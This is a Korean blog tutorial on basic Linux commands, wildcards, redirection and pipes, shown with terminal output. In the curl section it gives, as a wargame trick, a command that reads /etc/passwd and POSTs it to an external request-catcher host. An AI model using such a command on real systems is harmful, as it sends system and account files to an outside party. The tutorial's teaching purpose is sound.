본문 바로가기
해킹 기초지식

리눅스 기본 명령어와 와일드 카드(wildcards), 리다이렉션(redirection), 파이프(pipe)

by whiteTommy 2023. 11. 18.

1. id

: 현재 User의 ID와 User가 속해 있는 Group ID를 보여준다.

user@user-virtual-machine:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)

 

2. sudo apt update

: 설치 가능한 소프트웨어 패키지를 업데이트한다. 어떤 버전을 설치할 수 있는 지도 업데이트 한다.

user@user-VirtualBox:~$ sudo apt update
[sudo] password for user:
Get:1 http://security.ubuntu.com/ubuntu jammy-security InRelease [110 kB]
Hit:2 http://kr.archive.ubuntu.com/ubuntu jammy InRelease
Hit:3 http://kr.archive.ubuntu.com/ubuntu jammy-updates InRelease
Hit:4 http://kr.archive.ubuntu.com/ubuntu jammy-backports InRelease
Fetched 110 kB in 2s (60.0 kB/s)
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
3 packages can be upgraded. Run 'apt list --upgradable' to see them.

 

3. sudo apt upgrade

 

: 리눅스에 설치된 소프트웨어 패키지 버전을 업그레이드 한다.

user@user-VirtualBox:~$ sudo apt upgrade
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Calculating upgrade... Done
The following packages were automatically installed and are no longer required:
  libflashrom1 libftdi1-2 linux-headers-5.15.0-43
  linux-headers-5.15.0-43-generic linux-image-5.15.0-43-generic
  linux-modules-5.15.0-43-generic linux-modules-extra-5.15.0-43-generic
Use 'sudo apt autoremove' to remove them.
#
# News about significant security updates, features and services will
# appear here to raise awareness and perhaps tease /r/Linux ;)
# Use 'pro config set apt_news=false' to hide this and future APT news.
#
The following packages have been kept back:
  libglib2.0-0 libglib2.0-bin libglib2.0-data
0 upgraded, 0 newly installed, 0 to remove and 3 not upgraded.

 

4. pwd (Print Working Directory)

:현재 작업 중인 디렉터리의 경로를 출력한다.

user@user-VirtualBox:~$ pwd
/home/user

 

5. ls(List)

: 디렉토리의 내용을 출력한다.

user@user-VirtualBox:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  snap  Templates  Videos

 

 

여기서, ls -l을 실행하면 각각 디렉터리의 자세한 정보를 출력한다.

user@user-virtual-machine:~$ ls -l
total 36
drwxr-xr-x 2 user user 4096 11월 17 12:11 Desktop
drwxr-xr-x 2 user user 4096 11월 17 12:11 Documents
drwxr-xr-x 2 user user 4096 11월 17 12:11 Downloads
drwxr-xr-x 2 user user 4096 11월 17 12:11 Music
drwxr-xr-x 2 user user 4096 11월 17 12:11 Pictures
drwxr-xr-x 2 user user 4096 11월 17 12:11 Public
drwx------ 4 user user 4096 11월 17 16:11 snap
drwxr-xr-x 2 user user 4096 11월 17 12:11 Templates
drwxr-xr-x 2 user user 4096 11월 17 12:11 Videos

 

추가로, 현재 디렉터리뿐만 아니라 임의 디렉터리의 내용도 출력할 수 있다.

 

아래와 같이 ls -l / 을 실행하면, 루트 디렉토리의 내용도 같이 출력한다.

user@user-virtual-machine:~$ ls -l /
total 2191440
lrwxrwxrwx   1 root root          7 11월 17 12:05 bin -> usr/bin
drwxr-xr-x   4 root root       4096 11월 17 12:14 boot
drwxrwxr-x   2 root root       4096 11월 17 12:07 cdrom
drwxr-xr-x  19 root root       4260 11월 17 16:11 dev
drwxr-xr-x 130 root root      12288 11월 17 12:14 etc
drwxr-xr-x   3 root root       4096 11월 17 12:08 home
lrwxrwxrwx   1 root root          7 11월 17 12:05 lib -> usr/lib
lrwxrwxrwx   1 root root          9 11월 17 12:05 lib32 -> usr/lib32
lrwxrwxrwx   1 root root          9 11월 17 12:05 lib64 -> usr/lib64
lrwxrwxrwx   1 root root         10 11월 17 12:05 libx32 -> usr/libx32
drwx------   2 root root      16384 11월 17 12:05 lost+found
drwxr-xr-x   4 root root       4096 11월 17 12:11 media
drwxr-xr-x   2 root root       4096  8월  8 07:52 mnt
drwxr-xr-x   2 root root       4096  8월  8 07:52 opt
dr-xr-xr-x 352 root root          0 11월 17 14:24 proc
drwx------   4 root root       4096 11월 17 12:11 root
drwxr-xr-x  37 root root        940 11월 17 22:33 run
lrwxrwxrwx   1 root root          8 11월 17 12:05 sbin -> usr/sbin
drwxr-xr-x  13 root root       4096  8월  8 07:59 snap
drwxr-xr-x   2 root root       4096  8월  8 07:52 srv
-rw-------   1 root root 2243952640 11월 17 12:05 swapfile
dr-xr-xr-x  13 root root          0 11월 17 14:24 sys
drwxrwxrwt  22 root root       4096 11월 18 00:36 tmp
drwxr-xr-x  14 root root       4096  8월  8 07:52 usr
drwxr-xr-x  14 root root       4096  8월  8 07:58 var

 

6. cd(Change Directory)

: 작업 중인 디렉터리를 변경한다.

디렉터리를 어떠한 경로를 통해 변경할 지를 알기 위해서는 2가지 용어를 알아야 한다.

 

1. 절대 경로(Absolute Path) :  루트(/) 디렉토리를 기준으로 모든 경로를 적어서 표현하는 경로

ex) / home / user는 루트(/) 디렉터리에서 home, user 순서로 하위 디렉터리로 뻗어 나가는 경로     

 

2. 상대 경로(Relative Path) :  현재 디렉터리를 기준으로 상위 or 하위 디렉터리로 뻗어 나가는 경로

  1. cd.. 는 현재 디렉터리에서 부모 디렉터리로 이동한다
  2. ~ 는 현재 유저의 home 디렉터리이다.
  3. - 는 이전에 위치했던 디렉터리이다.

아래는 cd 명령어와 pwd 명령어를 실행한 예시이다.

user@user-virtual-machine:~$ pwd
/home/user
user@user-virtual-machine:~$ cd /
user@user-virtual-machine:/$ pwd
/
user@user-virtual-machine:/$ cd -
/home/user
user@user-virtual-machine:~$ cd ..
user@user-virtual-machine:/home$ pwd
/home

 

7. mkdir(Make Directory)

: 디렉터리를 생성한다.

 

아래는, 앞서 배운 pwd, cd 명령어와 mkdir 명령어를 실행한 예시이다.

user@user-virtual-machine:~$ pwd
/home/user

user@user-virtual-machine:~$ ls -l
total 36 	// 현재 36kbytes가 할당
drwxr-xr-x 2 user user 4096 11월 17 12:11 Desktop
drwxr-xr-x 2 user user 4096 11월 17 12:11 Documents
drwxr-xr-x 2 user user 4096 11월 17 12:11 Downloads
drwxr-xr-x 2 user user 4096 11월 17 12:11 Music
drwxr-xr-x 2 user user 4096 11월 17 12:11 Pictures
drwxr-xr-x 2 user user 4096 11월 17 12:11 Public
drwx------ 4 user user 4096 11월 17 16:11 snap
drwxr-xr-x 2 user user 4096 11월 17 12:11 Templates
drwxr-xr-x 2 user user 4096 11월 17 12:11 Videos

user@user-virtual-machine:~$ mkdir new_dir
user@user-virtual-machine:~$ ls -l
total 40 	// 4kbytes가 추가 할당되어 총 40kbytes 가 할당
drwxr-xr-x 2 user user 4096 11월 17 12:11 Desktop
drwxr-xr-x 2 user user 4096 11월 17 12:11 Documents
drwxr-xr-x 2 user user 4096 11월 17 12:11 Downloads
drwxr-xr-x 2 user user 4096 11월 17 12:11 Music
drwxrwxr-x 2 user user 4096 11월 18 00:59 new_dir  	<<<<<< 새롭게 추가된 디렉토리
drwxr-xr-x 2 user user 4096 11월 17 12:11 Pictures
drwxr-xr-x 2 user user 4096 11월 17 12:11 Public
drwx------ 4 user user 4096 11월 17 16:11 snap
drwxr-xr-x 2 user user 4096 11월 17 12:11 Templates
drwxr-xr-x 2 user user 4096 11월 17 12:11 Videos

user@user-virtual-machine:~$ cd new_dir		// 추가된 디렉토리로 이동
user@user-virtual-machine:~/new_dir$ pwd
/home/user/new_dir

 

8. touch

: 비어 있는 새로운 파일을 생성한다.

 

앞서 생성했던, new_dir 디렉터리에서 ls -l 을 실행하면, 파일이 없다.

 

하지만, 아래와 같이 touch 명령어를 통해 현재 디렉토리에서 새로운 파일(new_file)을 만들고 pwd 명령어를 실행하면,

/ home / user / new_dir에 new_file이 생성된다.

user@user-virtual-machine:~$ cd new_dir
user@user-virtual-machine:~/new_dir$ pwd
/home/user/new_dir
user@user-virtual-machine:~/new_dir$ ls -l
total 0		// new_dir 디렉토리에 파일이 아무것도 없음

user@user-virtual-machine:~/new_dir$ touch new_file	  // 비어 있는 디렉토리에 new_file 파일 생성
user@user-virtual-machine:~/new_dir$ pwd
/home/user/new_dir
user@user-virtual-machine:~/new_dir$ ls -l
total 0
-rw-rw-r-- 1 user user 0 11월 18 01:06 new_file

 

9. mv(Move)

: 파일이나 디렉터리의 위치를 옮기거나, 이름을 변경할 때 사용한다.

 

아래는, 파일 이름 변경한 예시이다.

user@user-virtual-machine:~/new_dir$ ls -l
total 0
-rw-rw-r-- 1 user user 0 11월 18 01:06 new_file

user@user-virtual-machine:~/new_dir$ mv new_file old_file 	// new_file 을 old_file 로 파일명 변경
user@user-virtual-machine:~/new_dir$ ls -l
total 0
-rw-rw-r-- 1 user user 0 11월 18 01:06 old_file	// 변경된 파일명

 

아래는, 파일 위치를 변경한 예시이다.

user@user-virtual-machine:~/new_dir$ ls -l
total 0
-rw-rw-r-- 1 user user 0 11월 18 01:06 old_file

user@user-virtual-machine:~/new_dir$ ls ..	
Desktop  Documents  Downloads  Music  new_dir  Pictures  Public  snap  Templates  Videos

user@user-virtual-machine:~/new_dir$ mv old_file .. 	// old_file 을 부모 디렉토리로 이동
user@user-virtual-machine:~/new_dir$ ls ..
Desktop  Documents  Downloads  Music  new_dir  old_file  Pictures  Public  snap  Templates  Videos 	// 이동된 파일 위치

 

10. rm(Remove)

: 파일이나 디렉터리를 삭제한다.

 

아래는, 파일을 삭제하는 예시이다. rm 파일명 형식으로 삭제한다.

user@user-virtual-machine:~/new_dir$ touch abcd		// abcd 파일 생성
user@user-virtual-machine:~/new_dir$ pwd
/home/user/new_dir
user@user-virtual-machine:~/new_dir$ ls -l
total 0
-rw-rw-r-- 1 user user 0 11월 18 01:24 abcd
user@user-virtual-machine:~/new_dir$ rm abcd	// abcd 파일 삭제
user@user-virtual-machine:~/new_dir$ ls -l
total 0		// 삭제된 파일

 

아래는, 디렉토리를 삭제하는 예시이다. rm -r 디렉토리명 형식으로 삭제한다.

user@user-virtual-machine:~/new_dir$ mkdir newnew_dir	// 새로운 디렉토리 생성
user@user-virtual-machine:~/new_dir$ ls -l
total 4
drwxrwxr-x 2 user user 4096 11월 18 01:26 newnew_dir	

user@user-virtual-machine:~/new_dir$ rm -r newnew_dir	// 생성된 디렉토리 삭제
user@user-virtual-machine:~/new_dir$ ls -l
total 0		// 삭제된 디렉토리

 

11. cat

: 파일의 내용을 출력한다. cat 파일경로 형식으로 사용한다.

 

아래는 old_file에 hello라는 내용을 입력한 것이다.

 

아래는 old_file의 내용인 hello가 출력되는 예시이다.

user@user-virtual-machine:~/new_dir$ cat /home/whitetommy/old_file
hello

 

12. file

:파일의 유형을 출력한다. file 파일경로 형식으로 사용한다.

user@user-virtual-machine:~/new_dir$ file /home/user/old_file
/home/user/old_file: ASCII text
user@user-virtual-machine:~/new_dir$ file /home/user/new_dir
/home/user/new_dir: directory

 

13. echo

: 셸에 유저가 입력한 텍스트를 출력한다. 

user@user-virtual-machine:~/new_dir$ echo "hello"
hello

 

한편, echo 내용 > 파일명 형식으로 파일을 생성할 수 있다.

user@user-virtual-machine:~/new_dir$ echo "Hello World!" > helloByEcho
user@user-virtual-machine:~/new_dir$ ls -l
total 4
-rw-rw-r-- 1 user user 13 11월 18 01:39 helloByEcho

 

14. cp(Copy)

: 파일이나 디렉토리를 복사한다.

user@user-virtual-machine:~/new_dir$ echo "Hello World!" > helloByEcho 	// "Hello World!" 내용을 가진 helloByEcho 파일 생성
user@user-virtual-machine:~/new_dir$ ls -l
total 4
-rw-rw-r-- 1 user user 13 11월 18 01:39 helloByEcho

user@user-virtual-machine:~/new_dir$ cp helloByEcho copyhelloByEcho		// helloByEcho 파일을 copyhelloByEcho 라는 파일명으로 복사(내용이 같다)
user@user-virtual-machine:~/new_dir$ cat copyhelloByEcho
Hello World!

 

15. grep

: 전체에서 특정 문자열을 찾을 때 사용한다. grep 문자열 파일명 형식으로 사용한다.

user@user-virtual-machine:~/new_dir$ grep "Hello" helloByEcho
Hello World!

 

16. man(Manual)

: 특정 명령어의 매뉴얼을 보여준다.

 

아래는 cp 명령어의 매뉴얼이다.

CP(1)                                        User Commands                                       CP(1)

NAME
       cp - copy files and directories

SYNOPSIS
       cp [OPTION]... [-T] SOURCE DEST
       cp [OPTION]... SOURCE... DIRECTORY
       cp [OPTION]... -t DIRECTORY SOURCE...

DESCRIPTION
       Copy SOURCE to DEST, or multiple SOURCE(s) to DIRECTORY.

       Mandatory arguments to long options are mandatory for short options too.

       -a, --archive
              same as -dR --preserve=all

       --attributes-only
              don't copy the file data, just the attributes

       --backup[=CONTROL]
              make a backup of each existing destination file
 Manual page cp(1) line 1 (press h for help or q to quit)

 

17. curl (client URL)

: 서버에 데이터를 보내거나 서버로부터 데이터를 받는 데이터 전송 명령어이다. curl [옵션] URL 형식으로 사용한다.

HTTP, HTTPS, FTP 등 다양한 protocol을 지원한다.

 

아래는 구글 웹 서버의 콘텐츠를 반환하여 출력하는 모습이다.

user@user-VirtualBox:~$ curl https://www.google.com
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="ko"> 
... (생략)
user@user-VirtualBox:~$

 

curl 명령어의 [옵션] 은 다음과 같다.

  1. -o file : 전송받은 데이터를 파일에 저장한다.
  2. -i : 결과 값에 HTTP 응답 헤더를 포함한다.
  3. -X "method" : HTTP 요청 메서드를 지정한다.
  4. -d "key=value" : HTTP POST 메서드로 데이터를 전송한다.

curl 은 워게임 문제에서도 유용하게 사용된다. 풀이자가 명령어 실행 결과를 볼 수 없는 경우, 결과를 curl 명령어에 포함하여 풀이자의 웹 서버로 전송하면 확인이 가능하다.

 

아래는 /etc/passwd 파일을 https:// https://hmqtzgx.request.dreamhack.game 에 POST 데이터로 전송하는 예시이다. 

$ curl "https://hmqtzgx.request.dreamhack.games" -d "`cat /etc/passwd`"

 

 

와일드카드(wildcards)

: 리눅스에서 임의의 다른 문자를 나타낼 수 있는 특수 문자

 

1.?

a-z, 0-9 범위 내 임의의 1개 문자로 대체된다.

user@user-virtual-machine:~/new_dir$ ls -l
total 8
-rw-rw-r-- 1 user user 13 11월 18 01:41 copyhelloByEcho
-rw-rw-r-- 1 user user 13 11월 18 01:39 helloByEcho
user@user-virtual-machine:~/new_dir$ cat helloBy?cho
Hello World!

 

2. *

a-z, 0-9 범위 내 임의의 0개 이상 문자로 대체된다.

user@user-virtual-machine:~/new_dir$ cat h*
Hello World!

 

3. []

범위 내 모든 문자로 대체된다. [문자 1-문자 2]또는[문자 1, 문자 3,...] 형태로 범위를 지정한다.

user@user-virtual-machine:~/new_dir$ touch test1 test4 test3 test2
user@user-virtual-machine:~/new_dir$ ls -l
total 8
-rw-rw-r-- 1 user user 13 11월 18 01:41 copyhelloByEcho
-rw-rw-r-- 1 user user 13 11월 18 01:39 helloByEcho
-rw-rw-r-- 1 user user  0 11월 18 15:50 test1
-rw-rw-r-- 1 user user  0 11월 18 15:50 test2
-rw-rw-r-- 1 user user  0 11월 18 15:50 test3
-rw-rw-r-- 1 user user  0 11월 18 15:50 test4
user@user-virtual-machine:~/new_dir$ ls test[0-3]
test1  test2  test3

 

 

리다이렉션

: 모니터에 나타나는 표준 출력 혹은 키보드로 입력하는 표준 입력을 다른 곳으로 변경한다.

 

주로, 명령어의 결과를 파일로 저장하거나, 다른 명령어의 입력을 전달할 때 사용한다.

 

1. 명령어 > 파일

:명령어 결과를 파일에 쓴다. 파일이 없으면 새로 만들고, 없으면 덮어쓴다.

user@user-virtual-machine:~/new_dir$ ls test[0-3]	
test1  test2  test3
user@user-virtual-machine:~/new_dir$ ls test[0-3] > world	// test1 test2 test3 파일을 출력 결과로 world 파일에 저장
user@user-virtual-machine:~/new_dir$ cat world		// world 파일의 내용 출력
test1
test2
test3

 

2. 명령어 >> 파일

:명령어 결과를 파일에 쓴다. 파일이 없으면 새로 만들고, 있으면 이어서 쓴다.

user@user-virtual-machine:~/new_dir$ ls test[1-2] >> world		// 이미 있는 world 에 이어서 test1 test2 출력 결과 저장
user@user-virtual-machine:~/new_dir$ ls -l
total 12
-rw-rw-r-- 1 user user 13 11월 18 01:41 copyhelloByEcho
-rw-rw-r-- 1 user user 13 11월 18 01:39 helloByEcho
-rw-rw-r-- 1 user user  0 11월 18 15:50 test1
-rw-rw-r-- 1 user user  0 11월 18 15:50 test2
-rw-rw-r-- 1 user user  0 11월 18 15:50 test3
-rw-rw-r-- 1 user user  0 11월 18 15:50 test4
-rw-rw-r-- 1 user user 30 11월 18 16:02 world
user@user-virtual-machine:~/new_dir$ cat world
test1
test2
test3
test1
test2

 

3. 명령어 < 파일

: 명령어의 표준 입력을 파일로 변경한다. 

 

아래는 world 파일 내용을 표준 입력으로 받아서 grep test  명령어를 수행하는 예시이다.

user@user-virtual-machine:~/new_dir$ cat world
test1
test2
test3
test1
test2
user@user-virtual-machine:~/new_dir$ grep test < world
test1
test2
test3
test1
test2
user@user-virtual-machine:~/new_dir$

 

파이프(pipe)

: 리다이렉션의 한 형태이다. 명령어 결과 표준 출력을 다른 명령어의 표준 입력으로 보낼 때 사용한다. | 문자로 나타낸다.

 

아래는 ls -l 명령 결과에서 문자열 "hello"가 포함된 행을 찾아 출력하는 예시이다.

user@user-virtual-machine:~/new_dir$ ls -l
total 12
-rw-rw-r-- 1 user user 13 11월 18 01:41 copyhelloByEcho
-rw-rw-r-- 1 user user 13 11월 18 01:39 helloByEcho
-rw-rw-r-- 1 user user  0 11월 18 15:50 test1
-rw-rw-r-- 1 user user  0 11월 18 15:50 test2
-rw-rw-r-- 1 user user  0 11월 18 15:50 test3
-rw-rw-r-- 1 user user  0 11월 18 15:50 test4
-rw-rw-r-- 1 user user 30 11월 18 16:02 world
user@user-virtual-machine:~/new_dir$ ls -l | grep hello
-rw-rw-r-- 1 user user 13 11월 18 01:41 copyhelloByEcho
-rw-rw-r-- 1 user user 13 11월 18 01:39 helloByEcho